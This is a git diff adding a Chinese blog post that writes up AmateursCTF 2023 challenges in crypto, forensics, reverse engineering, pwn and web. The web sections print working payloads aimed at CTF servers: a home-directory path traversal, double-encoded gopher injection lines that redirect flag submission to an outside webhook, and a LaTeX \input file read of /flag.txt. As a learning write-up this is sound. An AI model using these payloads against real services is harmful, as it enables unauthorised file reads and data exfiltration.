+因为$p+q\gt 1.8307\times 10^{154}$
+
+$p+2q$已知,所以q最大值约为 8.2586e+153,即 $q \lt 8.2586\times 10^{153}$
+
+p最小约为1.0048e+154,即 $p \gt 1.0048\times 10^{154}$
+$$
+r = (p-1)(q-1)=pq-(p+q)-1
+$$
+然后没了别算了算你个鬼
+
+直接上z3-solver
+
+2s出结果
+
+## forensics/zipper
+
+> Stare into the zip and the zip stares back.
+
+zip的备注给了一半flag,part1:
+
+`amateursCTF{z1PP3d_`
+
+直接rg
+
+```bash
+/m/s/w/A/f/zipper $ rg '}'
+flag/flag201.txt
+1:Part 4: _Zips}
+```
+
+找到最后一半
+
+这没说,还有Part2和3?
+
+使用strings查找找到P3,用ImHex打开可以看到这里实际上是flag目录的comment,但是Ark不显示
+
+```
+/m/s/w/A/f/zipper $ strings flag.zip | grep Part
+flag/Part 3: laY3r_0fPK
+Part 1: amateursCTF{z1PP3d_
+```
+
+`amateursCTF{z1PP3d_???laY3r_0f_Zips`
+
+但是奇怪的是搜索结果有好多个`flag/../flag`,使用ImHex把这堆flag改名分开(`flag1.zip.ips`)~~结果发现内容都一样~~
+
+看到DC提示P2有Unicode字符
+
+## forensics/Painfully Deep Flag
+
+```bash
+binwalk -e flag.php
+cd _flag.pdf.extracted
+file *
+```
+
+```
+2A18: ColorSync color profile 2.1, type lcms, RGB/XYZ-mntr device by lcms, 8796 bytes, 16-7-2023 21:42:44 "sRGB built-in"
+2A18.zlib: zlib compressed data
+7F3: data
+7F3.zlib: zlib compressed data
+25E4: ASCII text
+25E4.zlib: zlib compressed data
+47: ASCII text
+47.zlib: zlib compressed data
+61C: data
+61C.zlib: zlib compressed data
+172A: ASCII text
+172A.zlib: zlib compressed data
+244: data
+244.zlib: zlib compressed data
+1638: data
+1638.zlib: zlib compressed data
+1852: PostScript Type 1 font program data
+1852.zlib: zlib compressed data
+```
+
+能看到一堆奇怪的东西,然后还有个字体
+
+pdfinfo看到是LibreOffice导出的pdf,用LibreOffice Draw打开
+
+即刻得到flag
+
+`amateursCTF{0ut_0f_b0unds}`
+
+## misc/q-warmup
+
+> If a bit flips and no one is around to observe it, does it still cause a bug?
+>
+> This challenge was done on Qiskit version 0.42.1.
+
+挖!Quantum、Qiskit,好高级的算法
+
+但是它可重现啊
+
+那我彩虹表不就有了
+
+`amateursCTF{n0thing_qU4ntum_4b0ut_th1s_4t_All}`
+
+## misc/Censorship Lite++
+
+矣,好高级,不做了
+
+## misc/legality
+
+> When looking at licenses, there were too many licenses to pick on, but I finally settled on AGPL. Using it, I wrote a very secure locker!
+>
+> However, I was using a SaaS and lost my password and they won't help me out, do you think you could try to find it for me?
+
+源码都不给了是吗
+
+但是这是AGPL啊
+
+根据AGPL的“2. Basic Permissions.”,我们有“make, run and propagate”这个软件的权利!
+
+因此要找到源代码
+
+![legality-dc.webp](../../../../../../workspace/AmateursCTF/writeup/legality-dc.webp)
+
+乐
+
+看到`server: deno`,是个JS/TS项目
+
+可是源码在哪呢
+
+## rev/trick question
+
+先用pycdc反编译,然后手动修一下`b64decode`的导入,解出来一个混淆过的`check`
+
+然后手动改一下,写成pyc然后pycdc即可
+
+第六部分是利用了ASCII可见字符最高为都为0
+
+`amateursCTF{PY7h0ns_ar3_4_f4m1lY_0f_N0Nv3nom0us_Sn4kes}`
+
+## rev/jsrev
+
+首先这是个THREE.JS的项目
+
+Spector.js没看到什么奇怪的东西
+
+发现两个资源:`coords.json`和`collision-world.glb`
+
+glb用blender打开,也没什么
+
+以及可以发现这是一个THREE.JS的官方[example](https://github.com/mrdoob/three.js/blob/dev/examples/games_fps.html)(甚至注释标出了
+
+比较一下
+
+```bash
+difft (curl -Ls https://github.com/mrdoob/three.js/raw/dev/examples/games_fps.html | psub) (curl -Ls https://jsrev.amt.rs/ | psub)
+```
+
+总的来说,多了个`coords.json`,glb的hash是一致的
+
+```javascript
+let positions = [];
+await fetch('./coords.json')
+.then((response) => response.json())
+.then((data) => { positions = data;});
+
+for (let i = 0; i < positions.length; i++ ){
+ const [x, y, z] = positions[i];
+ spheres[i].collider.set( new THREE.Vector3( x, y, z ), SPHERE_RADIUS );
+}
+```
+
+那么把这个coords画出来?
+
+掏出[OpenSCAD](https://openscad.org/)
+
+```bash
+node draw-coords.js
+time openscad -o coords.stl coords.scad
+```
+
+看不懂?试一下变换就有了
+
+`amateursCTF{asK_4nD_thr33_5h4ll_r3c31v3}`
+
+~~但是读英文好难,后面那个`c`我放大才看到右边比左边少一个像素~~
+
+## rev/CSCE221-Data Structures and Algorithms
+
+首先这个coredump不是coredump不能gdb
+
+然后`list`是`.bss`的全局变量,位于`0x00404060`,用ghidra的Parse C Sources把main.h导进去,然后手动命名一下
+
+`list_init`很简单,就是按顺序初始化链表
+
+`list_mix`则是
+
+```c
+ cur = list->head;
+ len = list->len;
+ next = list->head->ptr;
+ for (i = 1; i < len; i = i + 1) {
+ xor = (listnode *)((ulong)cur ^ (ulong)next->ptr);
+ cur = next;
+ orgNext = next->ptr;
+ next->ptr = xor;
+ next = orgNext;
+ }
+```
+
+遍历整个链表,链表的每一项的地址改为前一项和后一项的地址XOR,这里由于有`orgNext`,应该是不会崩溃的,测试也是如此,那么,我们只要有前一项的地址,就能XOR还原后一项
+
+那这时直接转到`list`,`len = 0x1d`,链表第一项位于`004052a0`
+
+但是,由于链表的node是连着分配的,内存地址也不会很远,通过segment offset算出文件偏移:18128,用ImHex打开即可
+
+`amateursCTF{l1nk3d_bY_4n_xor}`
+
+## pwn/ELFcrafting-v2
+
+相对于v1:能放79字节,但是必须是ELF,有Magic检查
+
+ELF32 header 52 octects,ELF64 56 octects,当然用32啊
+
+第一版写好printer是142字节,继续减小
+
+然后就有了`code1.asm`
+
+但是还是不够,参考[一篇神奇的文章](https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html),但还是不够,还有90字节
+
+晚上关了电脑突然想到:诶你说我要是`mmap`一块RWX内存然后read stdin不就能解决了
+
+于是就有了现在的版本
+
+通过`mmap2`映射4K内存然后读取stdin(fd 0)然后JMP
+
+`stage2.asm`是第二阶段的读取文件的源代码,这里可以有255字节,再也不用担心不够小了
+
+甚至还贴心的加上了`exit`
+
+- `code1.asm`:没压下去的版本
+
+- `code2.asm`:测试syscall,因为压缩过ELF头的GDB和LLDB都识别不了
+- `code3.asm`:另一个人给的,但是我本地测试时SIGSEGV
+
+`amateursCTF{d1d_i_f0rg3t_t0_p4tch_32b1t_b1naries_t00!!!}`
+
+## pwn/simpleOS
+
+flag在img的0x6f200,即889扇区处,串口输出的`first availible sector: 945`说明,`fs.relative == 945`
+
+此时make file只会在flag之后make,不可能make到flag,而disk里的file是不能open file打开的
+
+这个shell约等于废物,只能做数学计算和mov
+
+~~那就跳过去~~
+
+## web/uwuctf
+
+你说的对,我没了`/`没了`..`没了`./`我还是可以home啊
+
+我就说怎么Dockerfile里面别的题目都是塞进`/srv/`里面这个塞进`/home/node/`里面
+
+[https://uwuasaservice.amt.rs/uwuify?src=~/app/flag.txt](https://uwuasaservice.amt.rs/uwuify?src=~/app/flag.txt)
+
+然后想办法解uwuify
+
+```
+amateuwsctf{so_wmao_this_fwag_is_gonna_be_a_wot_wongew_than_most_fwag_othew_fwags_good_wuck_have_fun_decoding_it_end_of_fwag}
+```
+
+然后要de-uwuify
+
+```
+amateursCTF{so_lmao_this_flag_is_gonna_be_a_lot_longer_than_most_flag_other_flags_good_luck_have_fun_decoding_it_end_of_flag}
+```
+
+好,看这样子解出来了,起码这个flag是符合英语部分语法的((至少没有奇怪的数字和大小写混杂
+
+## web/go-gopher
+
+这题是注入,参考[RFC 1436](https://datatracker.ietf.org/doc/html/rfc1436)
+
+用nc连一下
+
+```
+/m/s/w/A/w/go-gopher $ nc amt.rs 31290
+1/submit/player
+iWelcome to the flag submitter! error.host 1
+iPlease submit all your flags! error.host 1
+1Submit flags here! /submit/user :: 7000
+0Get me more flags lackeys!! URL:https://ctf.amateurs.team/ :: 7000
+1Nice gopher proxy / gopher.floodgap.com 70
+.
+```
+
+```
+/m/s/w/A/w/go-gopher [SIGINT]$ nc amt.rs 31290
+/submit/player
+iHello player error.host 1
+iPlease send a post request containing your flag at the server down below. error.host 1
+0Submit here! (gopher doesn't have forms D:) URL:http://amt.rs/gophers-catcher-not-in-scope error.host 1
+.
+```
+
+先用[webhook.site](https://webhook.site/)造个webhook
+
+可以看到,非常简单的注入,就能让第三项变为我们的webhook
+
+```
+player error.host 1
+iText error.host 1
+0Submit here! URL:http://webhook.site/a59b6079-5fc7-41de-a22e-0ad3a1d10e5a error.host 1
+iText1
+```
+
+```
+gopher://amt.rs:31290/1/submit/player%2509%2509error%252Ehost%25091%250AiText%2509%2509error%252Ehost%25091%250A0Submit%2520here%2521%2509URL%253Ahttp%253A%252F%252Fwebhook%252Esite%252Fa59b6079%252D5fc7%252D41de%252Da22e%252D0ad3a1d10e5a%2509error%252Ehost%25091%250AiText1
+```
+
+注意要URL encode两次,用TAB
+
+`amateursCTF{wh0_s@ys_goph3r_i5nt_web?}`
+
+## web/gophers-revenge
+
+限制了域名是amt.rs,找一下challenges,是配合web/cps remastered的服务器一起用的
+
+是通过随机username和flag作为密码
+
+这很简单,因为cps remastered会显示密码
+
+```
+player error.host 1
+iText error.host 1
+0Submit here! URL:https://cps.amt.rs/register.php error.host 1
+iText1
+```
+
+```
+gopher://amt.rs:31290/1/submit/player%2509%2509error%252Ehost%25091%250AiText%2509%2509error%252Ehost%25091%250A0Submit%2520here%2521%2509URL%253Ahttps%253A%252F%252Fcps%252Eamt%252Ers%252Fregister%252Ephp%25091%250AiText1
+```
+
+```
+Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: 04999857a4147d47f993828d2976bfeb
+```
+
+```
+welcome, 08667. your password is amateursCTF{ye5._ h1s_1s_g0pher_h3ll}. log out
+```
+
+但是提交不上去
+
+`amateursCTF{ye5._ h1s_1s_g0pher_h3ll}`
+
+> amateursCTF{ye5._ h1s_1s_g0pher_h3ll} is not the right flag
+> but the contents of flag.txt is the flag
+
+试一下,有可能是flag.txt的内容被URL Encode过,坑是:`{}`没有被encode
+
+`amateursCTF{ye5._+h1s_1s_g0pher_h3ll}`
+
+## crypto/You get extra information 2
+
+`amateursCTF{omg_it's_my_favorite_epic_thing_where_it_looks_like_a_binomial!!}`
+
+离大谱的,直接z3solver解出来
+
+## pwn/hex-converter-2
+
+可以看到ghidra的分析
+
+栈是这样的
+
+高地址 -> `i` -> `name` -> `flag` -> 低地址
+
+一样存在`gets`溢出,但是只能溢出到`i`
+
+以及`i < 1`会停止,但是while里面是先打印再检查啊,那就算一次一个字符咱也能做出来啊
+
+于是写solve,一次dump一个字符,虽然`nc`会有点慢
+
+> u1s1,这次ctf刚开始学用pwntools,真的好好用,能省不少事
+
+`amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}`
+
+## web/latek
+
+reference to [the official writeup of USTC Hackergame 2022](https://github.com/USTC-Hackergame/hackergame2022-writeups/tree/master/official/LaTeX%20%E6%9C%BA%E5%99%A8%E4%BA%BA)
+
+```latex
+\documentclass{article}
+\begin{document}
+$$\input{/flag.txt}$$
+Hello
+\end{document}
+```
+
+`amateursCTF{th3_l0w_budg3t_and_n0_1nstanc3ing_caus3d_us_t0_n0t_all0w_rc3_sadly}`
+
+## misc/Survey
+
+`amateursCTF{surv3ys_h3lp_us_impr0v3_futur3_c0mp3tit1ons}`
+
+## 总结
+
+学到了好多东西
+
+- 又一次使用了x86汇编,知道了`ENDBR64`
+- 知道x86下,执行隐含可读
+
+- 实践了栈溢出
+- 了解了一点tcachebin
+- 了解了py的`chr`、`ord`和`vars`
+- 用了下`pycdc`
+- 第一次有意义地使用OpenSCAD
+- 学会了如何写超小的ELF
+- 原来`mmap`可以用来分配内存
+- 安装了zig
+- gopher好玩
+- 用了z3-solver、pwntools
diff --git a/content/post/2023/07/20-amateursctf-writeup/legality-dc.webp b/content/post/2023/07/20-amateursctf-writeup/legality-dc.webp
new file mode 100644
index 0000000..4abd371
Binary files /dev/null and b/content/post/2023/07/20-amateursctf-writeup/legality-dc.webp differ